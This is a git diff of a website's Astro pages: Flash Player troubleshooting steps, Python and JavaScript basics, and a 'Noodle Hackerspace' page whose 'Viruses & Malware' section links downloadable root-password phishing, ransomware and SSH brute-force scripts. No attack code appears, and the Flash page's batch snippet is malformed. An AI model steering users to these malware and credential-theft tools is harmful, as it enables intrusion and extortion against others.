+                Copy the file, then rename said copied file to <code>flash.ocx</code>, <b>DO NOT RENAME OR MOVE THE ORIGINAL FILE</b>, and paste it in both: <code>System32</code> and/or <code>SysWOW64</code>. [The <code>flash.ocx</code> file should look like <code>flashversion.ocx</code> (for example <code>flash9.ocx</code>)]
+            </li>
+        </ol>
+        <p>Try the program, or screensaver, out now to see if it works.</p>
+      </div>
+      <hr>
+      <div id="am">
+        <h2>AMD GPU Fix for Flash Player</h2>
+        <p>Thanks to <a href="https://www.reddit.com/user/Djracem">Djracem on Reddit</a> for contributing to this page.</p>
+        <p>
+            AMD adrenalin drivers 22.5.2, and later, are causing Flash to only display a colored background associated with the background of Flash Player. To not roll back pre-22.5.2, disable "Hardware Accel" on Macromed\Flash and on mms.cfg. Run, and make sure Command Prompt is run as administrator, and then copy the Batchfile code below.
+            <br>
+            <code>
+                mkdir "%WINDIR% \SysWoW64\Macromed\Flash" <br>
+                NUL & echo DisableHardwareAcceleration "WINDIR% \SysWoW64\Macromed\Flash\mms.cfg"
+            </code>
+        </p>
+      </div>
+      <hr>
+      <div id="br">
+        <h2>Browsers that support the Flash Player plug-in</h2>  
+        <p>
+            To use <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">a working version of Flash Player</a>, you would have to find browsers that support the Flash Player plug-in. But since the Flash shutdown of 2021, major browsers like Chrome, Edge, Firefox, and more do not support the flash player plug-in. You can see some of the browsers that support the plug-in here.
+        </p>
+        <a href="https://basilisk-browser.org/" target="_blank" rel="noopener noreferrer">Basilisk</a> <br>
+        <a href="https://www.waterfox.net/" target="_blank" rel="noopener noreferrer">Waterfox</a> <br>
+        <a href="https://www.palemoon.org/" target="_blank" rel="noopener noreferrer">Pale Moon</a> <br>
+        <a href="https://www.mypal-browser.org/" target="_blank" rel="noopener noreferrer">Mypal</a> <br>
+        <a href="http://kmeleonbrowser.org/" target="_blank" rel="noopener noreferrer">K-Meleon</a> <br>
+        <a href="https://www.opera.com/" target="_blank" rel="noopener noreferrer">Opera (Older versions 12.00 - 12.17)</a> <br>
+      </div>
+      <hr>
+      <div id="ao">
+        <h2>Flash Player for Android</h2>
+        <p>Adobe AIR and Adobe Flash Player for Android are no longer supported. You can download them using these APK files and make it work in 2022.</p>
+        <a href="/media/files/com.adobe.flashplayer-11.1.115.81-11111508.apk" download>Adobe Flash Player for Android (v11)</a> <br>
+        <a href="/media/files/com.adobe.air.apk" download>Adobe AIR</a>
+      </div>
+      <hr>
+      <div id="tf">
+        <h2>Tools for Flash Player</h2>
+        <p>These tools can be used for Flash Player.</p>
+        <a href="https://github.com/KuromeSan/FlashPatcher/releases/tag/v1.7" target="_blank" rel="noopener noreferrer">FlashPatcher</a> <br>
+        <a href="/media/files/swftoexe_setup.exe">SWF to EXE Converter</a> <br>
+        <a href="/media/files/exe2swf.exe">EXE to SWF Converter</a>
+      </div>
+      <hr>
+      <div id="rs">
+        <h2>How to Run Apps in Screensavers</h2>
+        <p><b>Please note that AT Products LLC never created any of these files. Credits to <a href="https://www.reddit.com/user/IoI_xD/">IoI_xD on Reddit</a>.</b> The reason this relates to Flash is you may need this section for a .EXE file that contains Flash content that is supposed to be a screensaver.</p>
+        <p>Firstly, to get it to actually run, you'll first need to download and run <a href="/media/files/ScreensaversPlanet_Flash_Fix.reg">this registry file</a>. You will get a warning upon running it, <a href="https://www.virustotal.com/#/file/84532c37fba28264d9a73cb86cf92a524732e2d0b189cd4cd30c84c1e4db1e84/detection">It is indeed safe</a>.</p>
+        <p>After that you should be able to click on it and it will exactly as shown above, but what about getting it to automatically run as a screensaver? Windows doesn't allow you to run .exe files as savers anymore, so you will have to do a bit of extra set up. Before anything, you'll need a consistent place to save all these files. We recommend <code>C:\Windows\System32</code> because that's where all the screensavers are normally stored.</p>
+        <p>Secondly, you'll need to download <a href="/media/files/Screen Launcher.scr">Screen Launcher</a>. Save it to a place on your computer, then right click it and select "Install". Then right click the <code>.scr</code> file and click install, you shall be taken to the screensaver settings automatically. Optionally to prevent issues, put Screen Launcher into <code>C:\Windows\System32</code>. If you're not on the screen and you're on Windows Vista or above, press WIN + R and type into Run <code>control desk.cpl,,@screensaver</code> to enter Screensaver Settings and select Screen Launcher. Click settings on the screensaver and navigate it to where you saved the screensaver (e.g. <code>C:\Windows\System32\Bobsaver.exe</code>).</p>
+        <p>Now the screensaver works, but there's still a problem: it doesn't exit as it should. You can't move your mouse to exit it like normal. Instead, you have to press "ESC", which doesn't exit the program but minimizes it. Not much can be about the mouse, but what could be done is make it so that the ESC key exits the program completely. Download <a href="https://autohotkey.com/download/">AutoHotKey</a> and install it. Once it's installed, download a <a href="/media/files/bobsav.ahk">.ahk file</a>, then move it to <code>C:\Users\Owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>, or press WIN + R and type into Run <code>shell:startup</code> to go to the folder. What the script will do is bind the ESC key to the ALT + F4 function, but only when the screensaver is running. Just double click the file and it should start running. You can now experience the screensaver as it was meant to be seen.</p>
+      </div>
+      <hr>
+      <div id="fg">
+        <h2>Flash Games for Today's Times</h2>
+        <h3>Browser Games</h3>
+        <p>Browser games are not that popular due to the 2020s having modern and widely used browsers not supporting the original Flash Engine. Either websites went to HTML5 games or replaced their engines with <a href="https://ruffle.rs/">Ruffle</a> or others.</p>
+        <p><a href="https://www.newgrounds.com/">Newgrounds</a>. This is a special one as they allow any users to post content. They replaced their engine with their <a href="https://www.newgrounds.com/flash/player">downloadable one</a>.</p>
+        <p>There's tons of generic flash games, like the following:<br>
+            <a href="https://www.crazygames.com/t/flash">CrazyGames</a><br>
+            <a href="https://armorgames.com/category/flash-games">Armor Games</a><br>
+            <a href="https://www.kongregate.com/flash-games">Kongregate</a><br>
+            <a href="https://poki.com/en/flash">Poki</a><br>
+            <a href="https://www.addictinggames.com/">Addicting Games</a><br>
+            <a href="https://www.numuki.com/games/flash/">NuMuKi</a><br>
+        </p>
+        <p>If you want to support high quality games, you can do so on <a href="https://store.steampowered.com/curator/41097579-Adobe-Flash-Games/">Steam</a>.</p>
+        <h3>App Games</h3>
+        <p>Not many Flash games are on apps, mostly after 2020.</p>
+        <p><a href="https://flashpointarchive.org/">Flashpoint</a>, it contains a ton, mostly flash games.<br>
+        <a href="https://archive.org/details/softwarelibrary_flash_games">Archive.org</a>, it contains tons of SWF files for the <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">App installation</a>.</p>
+      </div>
+      <hr>
+      <div id="eg">
+        <h2>Flash Engines and Alternatives</h2<
+          <h3>Browser Supports</h3>
+          <p><a href="https://ruffle.rs/">Ruffle</a></p>
+          <h3>Apps</h3>
+          <p>These ones are for computers, if you use Android, <a href="#" data-bs-target="#br" data-bs-toggle="modal" data-bs-dismiss="modal">click here for the browsers</a> or <a href="#" data-bs-target="#ao" data-bs-toggle="modal" data-bs-dismiss="modal">click here for the actual flash engine</a>.</p>
+          <p><a href="https://ruffle.rs/">Ruffle</a><br>
+          <a href="https://flashpointarchive.org/">FlashPoint</a></p>
       </div>
-      
-      <h3>App/SWF Installation</h3>
-      <p>
-          In the "SWF Installation", an <a href="/media/files/flashplayer_32_sa.exe">already installed app</a> is waiting for you. However, you'll need a SWF file (Shockwave Flash) to run. I left a <a href="/media/files/flash_cmpunk.swf">SWF game here</a> for you to try out.
-      </p>
-    </div>
-    <hr>
-    <div id="oc">
-      <h2>How to fix the &quot;missing Flash.ocx&quot; error after Windows 2000</h2>
-      <p>
-          If you are having errors that say cannot create, or find <code>flash.ocx</code>, follow these steps.
-      </p>
-      <ol>
-          <li>
-              If you haven't installed Flash Player yet, please <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">click here</a>.
-          </li>
-          <li>
-              Find in Windows Explorer: <code>C:\Windows\SysWOW64\Macromed\Flash</code>, and find the file <code>Flash.ocx</code> (may look different depending on which version flash is). If you can't find it, look in instead: <code>C:\Windows\System32\Macromed\Flash</code>, <code>System32</code>, or <code>SysWOW64</code>.
-          </li>
-          <li>
-              If you still can't find <code>Flash.ocx</code> anywhere, you may have to <a href="/media/files/flash32_32_0_0_371.ocx">download it</a>, then put it in <code>C:\Windows\SysWOW64\Macromed\Flash</code>.
-          </li>
-          <li>
-              Copy the file, then rename said copied file to <code>flash.ocx</code>, <b>DO NOT RENAME OR MOVE THE ORIGINAL FILE</b>, and paste it in both: <code>System32</code> and/or <code>SysWOW64</code>. [The <code>flash.ocx</code> file should look like <code>flashversion.ocx</code> (for example <code>flash9.ocx</code>)]
-          </li>
-      </ol>
-      <p>Try the program, or screensaver, out now to see if it works.</p>
-    </div>
-    <hr>
-    <div id="am">
-      <h2>AMD GPU Fix for Flash Player</h2>
-      <p>Thanks to <a href="https://www.reddit.com/user/Djracem">Djracem on Reddit</a> for contributing to this page.</p>
-      <p>
-          AMD adrenalin drivers 22.5.2, and later, are causing Flash to only display a colored background associated with the background of Flash Player. To not roll back pre-22.5.2, disable "Hardware Accel" on Macromed\Flash and on mms.cfg. Run, and make sure Command Prompt is run as administrator, and then copy the Batchfile code below.
-          <br>
-          <code>
-              mkdir "%WINDIR% \SysWoW64\Macromed\Flash" <br>
-              NUL & echo DisableHardwareAcceleration "WINDIR% \SysWoW64\Macromed\Flash\mms.cfg"
-          </code>
-      </p>
-    </div>
-    <hr>
-    <div id="br">
-      <h2>Browsers that support the Flash Player plug-in</h2>  
-      <p>
-          To use <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">a working version of Flash Player</a>, you would have to find browsers that support the Flash Player plug-in. But since the Flash shutdown of 2021, major browsers like Chrome, Edge, Firefox, and more do not support the flash player plug-in. You can see some of the browsers that support the plug-in here.
-      </p>
-      <a href="https://basilisk-browser.org/" target="_blank" rel="noopener noreferrer">Basilisk</a> <br>
-      <a href="https://www.waterfox.net/" target="_blank" rel="noopener noreferrer">Waterfox</a> <br>
-      <a href="https://www.palemoon.org/" target="_blank" rel="noopener noreferrer">Pale Moon</a> <br>
-      <a href="https://www.mypal-browser.org/" target="_blank" rel="noopener noreferrer">Mypal</a> <br>
-      <a href="http://kmeleonbrowser.org/" target="_blank" rel="noopener noreferrer">K-Meleon</a> <br>
-      <a href="https://www.opera.com/" target="_blank" rel="noopener noreferrer">Opera (Older versions 12.00 - 12.17)</a> <br>
-    </div>
-    <hr>
-    <div id="ao">
-      <h2>Flash Player for Android</h2>
-      <p>Adobe AIR and Adobe Flash Player for Android are no longer supported. You can download them using these APK files and make it work in 2022.</p>
-      <a href="/media/files/com.adobe.flashplayer-11.1.115.81-11111508.apk" download>Adobe Flash Player for Android (v11)</a> <br>
-      <a href="/media/files/com.adobe.air.apk" download>Adobe AIR</a>
-    </div>
-    <hr>
-    <div id="tf">
-      <h2>Tools for Flash Player</h2>
-      <p>These tools can be used for Flash Player.</p>
-      <a href="https://github.com/KuromeSan/FlashPatcher/releases/tag/v1.7" target="_blank" rel="noopener noreferrer">FlashPatcher</a> <br>
-      <a href="/media/files/swftoexe_setup.exe">SWF to EXE Converter</a> <br>
-      <a href="/media/files/exe2swf.exe">EXE to SWF Converter</a>
-    </div>
-    <hr>
-    <div id="rs">
-      <h2>How to Run Apps in Screensavers</h2>
-      <p><b>Please note that AT Products LLC never created any of these files. Credits to <a href="https://www.reddit.com/user/IoI_xD/">IoI_xD on Reddit</a>.</b> The reason this relates to Flash is you may need this section for a .EXE file that contains Flash content that is supposed to be a screensaver.</p>
-      <p>Firstly, to get it to actually run, you'll first need to download and run <a href="/media/files/ScreensaversPlanet_Flash_Fix.reg">this registry file</a>. You will get a warning upon running it, <a href="https://www.virustotal.com/#/file/84532c37fba28264d9a73cb86cf92a524732e2d0b189cd4cd30c84c1e4db1e84/detection">It is indeed safe</a>.</p>
-      <p>After that you should be able to click on it and it will exactly as shown above, but what about getting it to automatically run as a screensaver? Windows doesn't allow you to run .exe files as savers anymore, so you will have to do a bit of extra set up. Before anything, you'll need a consistent place to save all these files. We recommend <code>C:\Windows\System32</code> because that's where all the screensavers are normally stored.</p>
-      <p>Secondly, you'll need to download <a href="/media/files/Screen Launcher.scr">Screen Launcher</a>. Save it to a place on your computer, then right click it and select "Install". Then right click the <code>.scr</code> file and click install, you shall be taken to the screensaver settings automatically. Optionally to prevent issues, put Screen Launcher into <code>C:\Windows\System32</code>. If you're not on the screen and you're on Windows Vista or above, press WIN + R and type into Run <code>control desk.cpl,,@screensaver</code> to enter Screensaver Settings and select Screen Launcher. Click settings on the screensaver and navigate it to where you saved the screensaver (e.g. <code>C:\Windows\System32\Bobsaver.exe</code>).</p>
-      <p>Now the screensaver works, but there's still a problem: it doesn't exit as it should. You can't move your mouse to exit it like normal. Instead, you have to press "ESC", which doesn't exit the program but minimizes it. Not much can be about the mouse, but what could be done is make it so that the ESC key exits the program completely. Download <a href="https://autohotkey.com/download/">AutoHotKey</a> and install it. Once it's installed, download a <a href="/media/files/bobsav.ahk">.ahk file</a>, then move it to <code>C:\Users\Owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>, or press WIN + R and type into Run <code>shell:startup</code> to go to the folder. What the script will do is bind the ESC key to the ALT + F4 function, but only when the screensaver is running. Just double click the file and it should start running. You can now experience the screensaver as it was meant to be seen.</p>
-    </div>
-    <hr>
-    <div id="fg">
-      <h2>Flash Games for Today's Times</h2>
-      <h3>Browser Games</h3>
-      <p>Browser games are not that popular due to the 2020s having modern and widely used browsers not supporting the original Flash Engine. Either websites went to HTML5 games or replaced their engines with <a href="https://ruffle.rs/">Ruffle</a> or others.</p>
-      <p><a href="https://www.newgrounds.com/">Newgrounds</a>. This is a special one as they allow any users to post content. They replaced their engine with their <a href="https://www.newgrounds.com/flash/player">downloadable one</a>.</p>
-      <p>There's tons of generic flash games, like the following:<br>
-          <a href="https://www.crazygames.com/t/flash">CrazyGames</a><br>
-          <a href="https://armorgames.com/category/flash-games">Armor Games</a><br>
-          <a href="https://www.kongregate.com/flash-games">Kongregate</a><br>
-          <a href="https://poki.com/en/flash">Poki</a><br>
-          <a href="https://www.addictinggames.com/">Addicting Games</a><br>
-          <a href="https://www.numuki.com/games/flash/">NuMuKi</a><br>
-      </p>
-      <p>If you want to support high quality games, you can do so on <a href="https://store.steampowered.com/curator/41097579-Adobe-Flash-Games/">Steam</a>.</p>
-      <h3>App Games</h3>
-      <p>Not many Flash games are on apps, mostly after 2020.</p>
-      <p><a href="https://flashpointarchive.org/">Flashpoint</a>, it contains a ton, mostly flash games.<br>
-      <a href="https://archive.org/details/softwarelibrary_flash_games">Archive.org</a>, it contains tons of SWF files for the <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">App installation</a>.</p>
-    </div>
-    <hr>
-    <div id="eg">
-      <h2>Flash Engines and Alternatives</h2<
-        <h3>Browser Supports</h3>
-        <p><a href="https://ruffle.rs/">Ruffle</a></p>
-        <h3>Apps</h3>
-        <p>These ones are for computers, if you use Android, <a href="#" data-bs-target="#br" data-bs-toggle="modal" data-bs-dismiss="modal">click here for the browsers</a> or <a href="#" data-bs-target="#ao" data-bs-toggle="modal" data-bs-dismiss="modal">click here for the actual flash engine</a>.</p>
-        <p><a href="https://ruffle.rs/">Ruffle</a><br>
-        <a href="https://flashpointarchive.org/">FlashPoint</a></p>
-    </div>
-  </main>
-  <Footer />
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
-<Scripts scrollspy="true"/>
+<Scripts scrollspy="true" />
diff --git a/src/pages/backup/noodle.astro b/src/pages/backup/noodle.astro
index 578f425d0..be0100804 100644
--- a/src/pages/backup/noodle.astro
+++ b/src/pages/backup/noodle.astro
@@ -4,9 +4,6 @@ import Scripts from '../../layouts/Scripts.astro';
 import Hero      from '../../components/Hero.astro';
 import Navbar    from '../../components/Navbar.astro';
 import Footer    from '../../components/Footer.astro';
-import Scrollspy from '../../components/Scrollspy.astro';
-import Accordion from '../../components/accordion/Accordion.astro';
-import AccordionItem from '../../components/accordion/AccordionItem.astro';
 import BackToTop from '../../components/BackToTop.astro';
 ---
 
@@ -16,63 +13,64 @@ import BackToTop from '../../components/BackToTop.astro';
   <div class="alert alert-dark mb-0" role="alert">
     This is an inactive community. Expect no new sections or changes without special exceptions.
   </div>
-  <Hero id="noodle" title="Noodle Hackerspace" description="Noodle Hackerspace is the community of physical and digital hacking resources!" imageSrc="/media/images/noodle.webp" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3 rounded-2"
-    buttons={[
-      { href: "/pynx", text: "Pynx's Projects", type: "primary" },
-      { href: "/noodle", text: "View the pop-up format", type: "secondary" },
-    ]},
-    icons={[
-      { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/r7qVKedjwR" },
-      { icon: "twitter", desc: "Twitter", href: "https://twitter.com/Aquoz_co" },
-      { icon: "bullseye", desc: "Pynx Technologies", href: "https://2983u2.site/" },
-      { icon: "heart-fill", desc: "Tokyo Chat", href: "https://tokyochat.pynxthegoat.repl.co/" },
-    ]},
-    dropdownItems = {[
-      { navigationDesc: "Pynx Technologies", navigationLink: "#pynx" },
-      { navigationDesc: "Stories", navigationLink: "#stories" },
-      { navigationDesc: "Viruses & Malware", navigationLink: "#files" },
-      { navigationDesc: "Apps & Software", navigationLink: "#app" },
-    ]},
-  />
-  <main id="noodle" class="container">
-    <div id="disclaimer">
-      <h2> Disclaimer </h2>
-      <p> 
-      We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br><br>
-      Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM.<br><br>
-      If it's an APK file, use an emulator.<br><br><a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a><br><a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
-      </p>
-    </div> 
-    <hr>
-    <div id="disclaim">
-      <p> Scroll past the following section to see about this community. </p>
-    </div>
-    <hr>
-    <div id="pynx">
-      <h2> Pynx Technologies </h2>
-      <p><a href="https://2983u2.site/">Pynx Technologies</a> is a company that has cybersecurity tools, pentesting tools, etc. It sells at the moment 
-      SSkullzv2 and Skullzv3.</p>
-    </div> 
-    <hr>
-    <div id="stories">
-      <h2> Stories </h2>
-      <p><a href="/stories/cctv">CCTV Interception</a></p>
-    </div> 
-    <hr>
-    <div id="files">
-      <h2> Viruses &amp; Malware </h2>
-      <p> <a href="/media/files/root.sh" download="">Root Password Phishing (Bash)</a> <a href="/media/files/alias.sh">Alias Command Version</a> <a href="/media/files/instruct.txt">Instructions</a> by Lynx </p>
-      <p> <a href="/media/files/login.py" download="">Example Login Program (Python)</a>, (Password is "password"), by Lynx </p>
-      <p> <a href="/media/files/Cerbios.py" download="">Cerbios Ransomware (Python)</a> by Pynx </p>
-      <p> <a href="/media/files/sshbrute-main.zip" download="">SSH Brute (Python | ZIP)</a> by Pynx </p>
-    </div>
-    <hr>
-    <div id="app">
-      <h2> Apps &amp; Software </h2>
-      <p> <a href="https://tokyochat.pynxthegoat.repl.co/">Tokyo Chat</a> by Pynx </p>
-    </div>
-  </main>
-  <Footer />
+  <div id="main-content">
+    <Hero id="noodle" title="Noodle Hackerspace" description="Noodle Hackerspace is the community of physical and digital hacking resources!" imageSrc="/media/images/noodle.webp" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3 rounded-2"
+      buttons={[
+        { href: "/pynx", text: "Pynx's Projects", type: "primary" },
+        { href: "/noodle", text: "View the pop-up format", type: "secondary" },
+      ]},
+      icons={[
+        { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/r7qVKedjwR" },
+        { icon: "bullseye", desc: "Pynx Technologies", href: "https://2983u2.site/" },
+        { icon: "heart-fill", desc: "Tokyo Chat", href: "https://tokyochat.pynxthegoat.repl.co/" },
+      ]},
+      dropdownItems = {[
+        { navigationDesc: "Pynx Technologies", navigationLink: "#pynx" },
+        { navigationDesc: "Stories", navigationLink: "#stories" },
+        { navigationDesc: "Viruses & Malware", navigationLink: "#files" },
+        { navigationDesc: "Apps & Software", navigationLink: "#app" },
+      ]},
+    />
+    <main id="noodle" class="container">
+      <div id="disclaimer">
+        <h2> Disclaimer </h2>
+        <p> 
+        We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br><br>
+        Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM.<br><br>
+        If it's an APK file, use an emulator.<br><br><a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a><br><a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
+        </p>
+      </div> 
+      <hr>
+      <div id="disclaim">
+        <p> Scroll past the following section to see about this community. </p>
+      </div>
+      <hr>
+      <div id="pynx">
+        <h2> Pynx Technologies </h2>
+        <p><a href="https://2983u2.site/">Pynx Technologies</a> is a company that has cybersecurity tools, pentesting tools, etc. It sells at the moment 
+        SSkullzv2 and Skullzv3.</p>
+      </div> 
+      <hr>
+      <div id="stories">
+        <h2> Stories </h2>
+        <p><a href="/stories/cctv">CCTV Interception</a></p>
+      </div> 
+      <hr>
+      <div id="files">
+        <h2> Viruses &amp; Malware </h2>
+        <p> <a href="/media/files/root.sh" download="">Root Password Phishing (Bash)</a> <a href="/media/files/alias.sh">Alias Command Version</a> <a href="/media/files/instruct.txt">Instructions</a> by Lynx </p>
+        <p> <a href="/media/files/login.py" download="">Example Login Program (Python)</a>, (Password is "password"), by Lynx </p>
+        <p> <a href="/media/files/Cerbios.py" download="">Cerbios Ransomware (Python)</a> by Pynx </p>
+        <p> <a href="/media/files/sshbrute-main.zip" download="">SSH Brute (Python | ZIP)</a> by Pynx </p>
+      </div>
+      <hr>
+      <div id="app">
+        <h2> Apps &amp; Software </h2>
+        <p> <a href="https://tokyochat.pynxthegoat.repl.co/">Tokyo Chat</a> by Pynx </p>
+      </div>
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
-<Scripts accordion="true"/>
+<Scripts accordion="true"/>
\ No newline at end of file
diff --git a/src/pages/backup/script.astro b/src/pages/backup/script.astro
index c1372a6db..7cd46d5d6 100644
--- a/src/pages/backup/script.astro
+++ b/src/pages/backup/script.astro
@@ -10,12 +10,13 @@ import AccordionItem from '../../components/accordion/AccordionItem.astro';
 import BackToTop from '../../components/BackToTop.astro';
 ---
 
-<Head title="The Script Community" heroid="script" icon="vibrant2.png" description="The Script Community is for hacking enthusiasts to share their knowledge." keywords="Scripts, viruses, coding," author="Alex Toucan & Nasus"/>
+<Head highlight="true" title="The Script Community" heroid="script" icon="vibrant2.png" description="The Script Community is for hacking enthusiasts to share their knowledge." keywords="Scripts, viruses, coding," author="Alex Toucan & Nasus"/>
 <div id="page">
   <Navbar />
-    <div class="alert alert-dark mb-0" role="alert">
-      This is an inactive community. Expect no new sections or changes without special exceptions.
-    </div>
+  <div class="alert alert-dark mb-0" role="alert">
+    This is an inactive community. Expect no new sections or changes without special exceptions.
+  </div>
+  <div id="main-content">
     <Hero id="script" title="The Script Community" description="The Script Community is for hacking enthusiasts to share their knowledge." imageSrc="/media/images/vibrant2.png" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3"
       buttons={[
         { href: "/script", text: "View the pop-up format", type: "secondary" },
@@ -74,84 +75,97 @@ import BackToTop from '../../components/BackToTop.astro';
       <div id="py">
         <h2>Python Basics</h2>
         <Scrollspy id="py-basics-list"
-        scrollcontent={[
-          { name: "Comments", href: "#com-1" },
-          { name: "Data Types", href: "#data-1" },
-          { name: "Strings", href: "#str-1" },
-          { name: "Numbers", href: "#num-1" },
-        ]};
-        >
-          <Fragment slot="scrollspy-content">
-            <div id="com-1">
-              <h4>Comments</h4>
-              <p>You can write text that the program will ignore by beginning the line with a #, this helps with reminding you what certain code does or for explaining purposes.<br><br>
-                <code>
-                  # This is a comment
-                </code>
-              </p>
-            </div>
-            <div id="data-1">
-              <h4>Data Types</h4>
-              <p>Variables can store data of different types, and different types can do different things.</p>
-              <p>Python has the following data types built-in by default, in these categories:<br>
-              Text Type: <code>str</code><br>
-              Numeric Types: <code>int, float, complex</code><br>
-              Sequence Types: <code>list, tuple, range</code><br>
-              Mapping Type: <code>dict</code><br>
-              Set Types: <code>set, frozenset</code><br>
-              Boolean Type: <code>bool</code><br>
-              Binary Types: <code>bytes, bytearray, memoryview</code></p>
-              <p>We will go more in-depth on some of these types in the next few paragraphs.</p>
-              <p>You can print the data type of a variable with the type() function:<br>
-                <code>
-                x = 5 <br>
-                print(type(x))
-                </code>
-              </p>
-            </div>
-            <div id="str-1">
-              <h4>Strings</h4>
-              <p>Strings are surrounded by either single quotation marks, or double quotation marks.</p>
-              <code>
-                x = "hello" <br>
-                y = 'hello' <br>
-                # single quotations and double quotation marks are the same<br>
-                x == y # returns True
-              </code>
-              <p>You can assign a multiline string to a variable by using three quotes:<br>
-                <code>
-                  x = """The FitnessGram Pacer test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter Pacer test will begin in 30 seconds."""
-                </code>
-              </p>
-              <p>You can check the length of a string using the len() function:
-                <code>
-                  py<br>
-                  x = "hello"<br>
-                  print(len(text)) # returns 5<br>
-                </code>
-              </p>
-            </div>
-            <div id="num-1">
-              <h4>Numbers</h4>
-              <p>There are 2 primary, <code>int</code> and <code>float</code></p>
-              <p>
-                <code>
-                  py<br>
-                  x = 2 # int<br>
-                  y = 2.8 # float
-                  </code></p>
-                  <p>To verify the type of an object in Python, use the type() function:<code>
-                  py<br>
-                  print(type(x))<br>
-                  print(type(y))
-                </code>
-              </p>
-              <p>Int, or integers, are whole numbers, positive or negative, without decimals.</p>
-              <p>Float is a number, positive or negative, containing one or more decimals.</p>
-              <p>Both strings and numbers are built-in data types.</p>
-            </div>
-          </Fragment>
-        </Scrollspy>
+          scrollcontent={[
+            { name: "Comments", href: "#com-1" },
+            { name: "Data Types", href: "#data-1" },
+            { name: "Strings", href: "#str-1" },
+            { name: "Numbers", href: "#num-1" },
+          ]};
+          >
+            <Fragment slot="scrollspy-content">
+              <div id="com-1">
+                <h3>Comments</h3>
+                <p>You can write text that the program will ignore by beginning the line with a #, this helps with reminding you what certain code does or for explaining purposes.<br><br>
+<pre>
+<code>
+# This is a comment
+</code>
+</pre>
+                </p>
+              </div>
+              <div id="data-1">
+                <h3>Data Types</h3>
+                <p>Variables can store data of different types, and different types can do different things.</p>
+                <p>Python has the following data types built-in by default, in these categories:<br>
+                Text Type: <code>str</code><br>
+                Numeric Types: <code>int, float, complex</code><br>
+                Sequence Types: <code>list, tuple, range</code><br>
+                Mapping Type: <code>dict</code><br>
+                Set Types: <code>set, frozenset</code><br>
+                Boolean Type: <code>bool</code><br>
+                Binary Types: <code>bytes, bytearray, memoryview</code></p>
+                <p>We will go more in-depth on some of these types in the next few sections.</p>
+                <p>You can print the data type of a variable with the <code>type()</code> function:</p>
+<pre>
+<code>
+x = 5 <br>
+print(type(x))
+</code>
+</pre>
+                </p>
+              </div>
+              <div id="str-1">
+                <h3>Strings</h3>
+                <p>Strings are surrounded by either single quotation marks, or double quotation marks.</p>
+<pre>
+<code>
+x = "hello" <br>
+y = 'hello' <br>
+# single quotations and double quotation marks are the same<br>
+x == y # returns True
+</code>
+</pre>
+                <p>You can assign a multiline string to a variable by using three quotes:</p>
+<pre>
+<code>
+x = """The FitnessGram Pacer test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter Pacer test will begin in 30 seconds."""
+</code>
+</pre>
+                <p>You can check the length of a string using the len() function:</p>
+<pre>
+<code>
+py<br>
+x = "hello"<br>
+print(len(text)) # returns 5<br>
+</code>
+</pre>
+                </p>
+              </div>
+              <div id="num-1">
+                <h3>Numbers</h3>
+                <p>There are 2 primary, <code>int</code> and <code>float</code></p>
+<pre>
+<code>
+py
+x = 2 # int
+y = 2.8 # float
+</code>
+</pre>
+                  <p>To verify the type of an object in Python, use the <code>type()</code> function:
+<pre>
+<code>
+py
+print(type(x))
+print(type(y))
+</code>
+</pre>
+                </p>
+                <p>Int, or integers, are whole numbers, positive or negative, without decimals.</p>
+                <p>Float is a number, positive or negative, containing one or more decimals.</p>
+                <p>Both strings and numbers are built-in data types.</p>
+              </div>
+            </Fragment>
+          </Scrollspy>
       </div> 
       <hr> 
       <div id="js">
@@ -165,112 +179,117 @@ import BackToTop from '../../components/BackToTop.astro';
             { name: "Data Types", href: "data-2" },
           ]};
         >
-        <Fragment slot="scrollspy-content">
-          <div id="html-2">
-            <h4>Including JavaScript in an HTML Page</h4>
-            <p>
-              <code>
-                &lt;script type="text/javascript"&gt; <br>
-                &nbsp;//JS code goes here <br>
-                &lt;/script&gt; 
-              </code>
-            </p>
-          </div>
-            <div id="call-2">
-            <h4>Call an External JavaScript File</h4>
-            <p>
-              <code>&lt;script src="myscript.js"&gt;&lt;/script&gt;</code>
-            </p>
-          </div>
-          <div id="com-2">
-            <h4>Including Comments</h4>
-            <p>Single line comments - <code>// Comment</code> <br>
-            Multi-line comments - <code>/* comment here */</code></p>
-          </div>
-          <div id="var-2">
-            <h4>Variables</h4>
-            <p>
-            <code>var, const, let</code><br>
-            <code>var</code> — The most common variable. Can be reassigned but only accessed within a function. Variables defined with var move to the top when code is executed.<br>
-            <code>const</code> — Can not be reassigned and not accessible before they appear within the code.<br>
-            <code>let</code> — Similar to const, however, let variable can be reassigned but not re-declared.<br>
-            </p>
-          </div>
-          <div id="data-2">
-            <h4>Data Types</h4>
-            <p>Numbers — <code>var age = 23</code> <br>
-            Variables — <code>var x</code><br>
